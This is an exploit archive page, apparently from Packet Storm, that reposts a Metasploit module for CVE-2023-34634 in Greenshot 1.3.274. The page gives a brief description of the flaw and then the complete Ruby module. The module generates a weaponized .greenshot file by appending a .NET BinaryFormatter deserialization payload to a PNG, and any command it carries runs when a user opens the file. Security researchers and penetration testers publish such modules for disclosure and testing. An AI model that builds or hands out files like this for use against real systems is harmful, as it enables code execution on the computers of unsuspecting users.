exploit the possibilities
Home Files News &[SERVICES_TAB]About Contact Add New

Greenshot 1.3.274 Deserialization / Command Execution

Greenshot 1.3.274 Deserialization / Command Execution
Posted Aug 17, 2023
Authored by bwatters-r7, p4r4bellum | Site metasploit.com

There exists a .NET deserialization vulnerability in Greenshot versions 1.3.274 and below. The deserialization allows the execution of commands when a user opens a Greenshot file. The commands execute under the same permissions as the Greenshot service. Typically, it is the logged in user.

tags | exploit
advisories | CVE-2023-34634
SHA-256 | 417583375a798246fd4576d2e33b79c589cc0fa3d06430926abf50d5142f368a

Greenshot 1.3.274 Deserialization / Command Execution

Change Mirror Download
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
Rank = ExcellentRanking

include Msf::Exploit::FILEFORMAT
include Msf::Post::File

def initialize(info = {})
super(
update_info(
info,
'Name' => 'Greenshot .NET Deserialization Fileformat Exploit',
'Description' => %q{
There exists a .NET deserialization vulnerability in Greenshot version 1.3.274
and below. The deserialization allows the execution of commands when a user opens
a Greenshot file. The commands execute under the same permissions as the Greenshot
service. Typically, is the logged in user.
},
'DisclosureDate' => '2023-07-26',
'Author' => [
'p4r4bellum', # Discovery
'bwatters-r7', # msf exploit
],
'References' => [
['CVE', '2023-34634'],
['EDB', '51633']
],
'License' => MSF_LICENSE,
'Platform' => 'win',
'Arch' => ARCH_CMD,
'Targets' => [
[ 'Windows', {} ],
],
'Notes' => {
'Stability' => [CRASH_SAFE],
'Reliability' => [REPEATABLE_SESSION],
'SideEffects' => [ARTIFACTS_ON_DISK, SCREEN_EFFECTS]
}
)
)

register_options([
OptPath.new('PNG_FILE', [false, 'PNG file to use'])
])
end

def exploit
if datastore['PNG_FILE'].blank?
image_file = File.join(Msf::Config.data_directory, 'exploits', 'cve-2023-34634', 'test.png')
else
image_file = datastore['PNG_FILE']
end

datastore['FILENAME'] = Rex::Text.rand_text_alpha(rand(6..13)) if datastore['FILENAME'].blank?
if datastore['FILENAME'].length < 10 || datastore['FILENAME'][-10, -1] != '.greenshot'
datastore['FILENAME'] << '.greenshot'
end
cmd = payload.encoded

image_data = File.binread(image_file)

deserialize_cmd = ::Msf::Util::DotNetDeserialization.generate(
cmd,
gadget_chain: :WindowsIdentity,
formatter: :BinaryFormatter
)

payload_length = deserialize_cmd.length
outfile = image_data
outfile << deserialize_cmd
outfile << [payload_length].pack('Q')
outfile << 'Greenshot01.02'
file_create(outfile)
end
end
Login or Register to add favorites

File Archive:

August 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Aug 1st
    15 Files
  • 2
    Aug 2nd
    22 Files
  • 3
    Aug 3rd
    0 Files
  • 4
    Aug 4th
    0 Files
  • 5
    Aug 5th
    15 Files
  • 6
    Aug 6th
    11 Files
  • 7
    Aug 7th
    43 Files
  • 8
    Aug 8th
    42 Files
  • 9
    Aug 9th
    36 Files
  • 10
    Aug 10th
    0 Files
  • 11
    Aug 11th
    0 Files
  • 12
    Aug 12th
    27 Files
  • 13
    Aug 13th
    18 Files
  • 14
    Aug 14th
    50 Files
  • 15
    Aug 15th
    33 Files
  • 16
    Aug 16th
    23 Files
  • 17
    Aug 17th
    0 Files
  • 18
    Aug 18th
    0 Files
  • 19
    Aug 19th
    43 Files
  • 20
    Aug 20th
    0 Files
  • 21
    Aug 21st
    0 Files
  • 22
    Aug 22nd
    0 Files
  • 23
    Aug 23rd
    0 Files
  • 24
    Aug 24th
    0 Files
  • 25
    Aug 25th
    0 Files
  • 26
    Aug 26th
    0 Files
  • 27
    Aug 27th
    0 Files
  • 28
    Aug 28th
    0 Files
  • 29
    Aug 29th
    0 Files
  • 30
    Aug 30th
    0 Files
  • 31
    Aug 31st
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2022 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close